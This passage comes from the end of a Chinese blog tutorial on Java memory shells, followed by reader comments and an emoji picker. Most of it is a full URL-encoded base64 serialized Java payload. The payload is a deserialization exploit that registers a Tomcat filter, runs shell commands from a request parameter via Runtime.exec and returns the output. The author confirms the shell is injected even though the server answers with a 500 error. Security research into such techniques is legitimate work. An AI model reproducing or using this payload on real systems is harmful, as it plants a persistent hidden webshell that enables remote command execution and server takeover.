5wdXRTdHJlYW0BAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAA5zZXRDb250ZW50VHlwZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAVjbG9zZQEABXdyaXRlAQAFZmx1c2gBAA9wcmludFN0YWNrVHJhY2UBAEAoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOylWAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAJc2V0RmlsdGVyAQAZKExqYXZheC9zZXJ2bGV0L0ZpbHRlcjspVgEADXNldEZpbHRlck5hbWUBAAdnZXROYW1lAQAOc2V0RmlsdGVyQ2xhc3MBAAxhZGRGaWx0ZXJEZWYBADQoTG9yZy9hcGFjaGUvdG9tY2F0L3V0aWwvZGVzY3JpcHRvci93ZWIvRmlsdGVyRGVmOylWAQANYWRkVVJMUGF0dGVybgEAHGphdmF4L3NlcnZsZXQvRGlzcGF0Y2hlclR5cGUBAAdSRVFVRVNUAQAeTGphdmF4L3NlcnZsZXQvRGlzcGF0Y2hlclR5cGU7AQANc2V0RGlzcGF0Y2hlcgEAEmFkZEZpbHRlck1hcEJlZm9yZQEANChMb3JnL2FwYWNoZS90b21jYXQvdXRpbC9kZXNjcmlwdG9yL3dlYi9GaWx0ZXJNYXA7KVYBABZnZXREZWNsYXJlZENvbnN0cnVjdG9yAQAzKFtMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7AQAdamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3IBAAtuZXdJbnN0YW5jZQEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7ACEAKABRAAEAUgAAAAYAAQBTAFQAAQBVAAAALwABAAEAAAAFKrcAAbEAAAACAFYAAAAGAAEAAAAVAFcAAAAMAAEAAAAFAFgAWQAAAAkAWgBbAAIAVQAAAJkAAgADAAAAMhICEgO2AARLKgS2AAUqAbYABsAAB0wrxgAZK7YACMYAEiu2AAjAAAlNLLkACgEAsAGwAAAAAwBWAAAAHgAHAAAATAAIAE0ADQBOABYATwAhAFAAKQBRADAAUwBXAAAAIAADACkABwBcAF0AAgAIACoAXgBfAAAAFgAcAGAAYQABAGIAAAALAAH9ADAHAGMHAGQAZQAAAAgAAwBHAEUASQABAGYAZwACAFUAAAA%2FAAAAAwAAAAGxAAAAAgBWAAAABgABAAAAWQBXAAAAIAADAAAAAQBYAFkAAAAAAAEAaABpAAEAAAABAGoAawACAGUAAAAEAAEAbAABAGYAbQACAFUAAABJAAAABAAAAAGxAAAAAgBWAAAABgABAAAAXgBXAAAAKgAEAAAAAQBYAFkAAAAAAAEAaABpAAEAAAABAG4AbwACAAAAAQBwAHEAAwBlAAAABAABAGwAAQByAHMAAgBVAAABtQADAAkAAACDKxILuQAMAgA6BCwSDbkADgIALLkADwEAOgUZBMYAXrgAEBkEtgARtgASOga7ABNZGQa3ABQSFbYAFjoHGQe2ABeZAAsZB7YAGKcABRIZOggZB7YAGhkFGQi2ABsZBbYAHBkFtgAdpwAUOgYZBrYAH6cACjoGGQa2ACEtKyy5ACIDALEAAgAfAGYAaQAeAB8AZgBzACAAAwBWAAAATgATAAAAYgAKAGMAEgBkABoAZQAfAGcALABqADwAawBQAGwAVQBtAFwAbgBhAG8AZgB0AGkAcABrAHEAcAB0AHMAcgB1AHMAegB2AIIAdwBXAAAAcAALACwAOgB0AHUABgA8ACoAdgB3AAcAUAAWAHgAeQAIAGsABQB6AHsABgB1AAUAfAB9AAYAAACDAFgAWQAAAAAAgwB%2BAF0AAQAAAIMAfwCAAAIAAACDAIEAggADAAoAeQCDAHkABAAaAGkAhACFAAUAYgAAAEYABf8ATAAIBwCGBwCHBwCIBwCJBwCKBwCLBwCMBwCNAABBBwCK%2FwAaAAYHAIYHAIcHAIgHAIkHAIoHAIsAAQcAjkkHAI8GAGUAAAAGAAIAHgCQAAgAkQBUAAEAVQAAAwUABQANAAABJLgAI0sqtgAkEiW2AARMKwS2AAUrKrYABsAAJk0stgAkEiW2AAROLQS2AAUtLLYABsAAJzoEuwAoWbcAKToFEio6BrsAK1m3ACw6BxkHGQW2AC0ZBxkGtgAuGQcZBbYAJLYAL7YAMBkEGQe2ADG7ADJZtwAzOggZCBI0tgA1GQgZBrYANhkIsgA3tgA4tgA5GQQZCLYAOhkEtgAkEju2AAQ6CRkJBLYABRkJGQS2AAbAADw6ChI9Bb0APlkDEj9TWQQSK1O2AEA6CxkLBLYAQRkLBb0AQlkDGQRTWQQZB1O2AEPAAD06DBkKGQYZDLkARAMAV6cAMEsqtgBGpwAoSyq2AEinACBLKrYASqcAGEsqtgBMpwAQSyq2AE6nAAhLKrYAULEABgAAAPMA9gBFAAAA8wD%2BAEcAAADzAQYASQAAAPMBDgBLAAAA8wEWAE0AAADzAR4ATwADAFYAAAC2AC0AAAAZAAQAGgAOABsAEwAcABwAHQAmAB4AKwAfADUAIgA%2BACMAQgAkAEsAJQBSACYAWQAnAGYAKABtACsAdgAsAH0ALQCEAC4AjwAvAJYAMgCiADMAqAA0ALQANgDJADcAzwA4AOcAOQDzAEcA9gA7APcAPAD7AEcA%2FgA9AP8APgEDAEcBBgA%2FAQcAQAELAEcBDgBBAQ8AQgETAEcBFgBDARcARAEbAEcBHgBFAR8ARgEjAEgAVwAAAMAAEwAEAO8AkgCTAAAADgDlAJQAXwABABwA1wCVAJYAAgAmAM0AlwBfAAMANQC%2BAJgAmQAEAD4AtQCaAFkABQBCALEAmwB5AAYASwCoAJwAnQAHAHYAfQCeAJ8ACACiAFEAoABfAAkAtAA%2FAKEAogAKAMkAKgCjAKQACwDnAAwApQCmAAwA9wAEAHoApwAAAP8ABAB6AKgAAAEHAAQAegCpAAABDwAEAHoAqgAAARcABAB6AKsAAAEfAAQAegCsAAAAYgAAAB0AB%2FcA9gcArUcHAK5HBwCvRwcAsEcHALFHBwCyBAABALMAAAACALRwdAADYWFhcHcBAHh1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAF2cgAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXMAAAAAAAAAAAAAAHhwc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA%2FQAAAAAAADHcIAAAAEAAAAAF0AAV2YWx1ZXEAfgAneHh2cgAbamF2YS5sYW5nLmFubm90YXRpb24uVGFyZ2V0AAAAAAAAAAAAAAB4cA%3D%3D

仍会报500,不过不要紧,此时我们的内存马已经注入进去了

大功告成!

写在后面

Java内存马技术实在是一个很庞大的体系,涉及到Java的方方面面,包括各种类加载机制、各种框架体系等等。以上我所做的不过是一些通用的分析,Java内存马所囊括的技术点也远不止如此,到了实战我们还要具体情况具体分析。最后也感谢各位师傅们的辛勤耕耘,才有了以上这些如此有趣的技术。

评论

  1. Drunkbaby
    Windows Edge 104.0.1293.63
    4月前
    2022-8-21 14:25:35

    可以加一下师傅的联系方式吗?想请教师傅几个问题

    • 博主
      Drunkbaby
      Windows Firefox 104.0
      3月前
      2022-9-03 17:59:28

      加你啦师傅

  2. 123
    Windows Chrome 108.0.0.0
    11小时前
    2022-12-08 23:04:59

    Can i have your contact information? I do want to ask something

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇